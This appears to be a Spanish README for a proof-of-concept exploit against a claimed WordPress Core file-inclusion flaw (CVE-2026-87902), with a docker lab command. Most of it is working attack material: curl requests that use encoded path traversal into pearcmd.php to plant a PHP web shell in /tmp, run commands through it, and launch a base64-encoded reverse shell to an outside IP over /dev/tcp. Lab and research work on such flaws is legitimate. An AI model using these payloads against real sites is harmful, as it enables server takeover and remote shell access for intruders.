CVE-2026-87902 — LFI condicional

Amor por los humanos - Mantenerlo simple

WordPress Core <= 7.1.1 — LFI no autenticado (cargador de plantillas pagename) → RCE mediante pearcmd.php y peclcmd.php

Ejecutar laboratorio docker

cd docker && docker compose up -d

Exploit - curl

curl -s 'http://10.137.137.49:18092/?page_id=2&pagename=templates%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252Fusr%252Flocal%252Flib%252Fphp%252Fpearcmd&+config-create+/&<?=`$_REQUEST[_]`?>+/tmp/pwn.php'

curl -s 'http://10.137.137.49:18092/?page_id=2&pagename=templates%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252Ftmp%252Fpwn&_=id'


# Reverse Shell
curl -s 'http://127.0.0.1:18092/?page_id=2&pagename=templates%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252Ftmp%252Fpwn&_=echo+L2Jpbi9iYXNoIC1jICcvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xLjM3LzQ0MyAwPiYxJyAg|base64+-d|sh'

Exploit — python

python3 exploit-pear.py

Créditos: https://github.com/ressl/cve-2026-87902-poc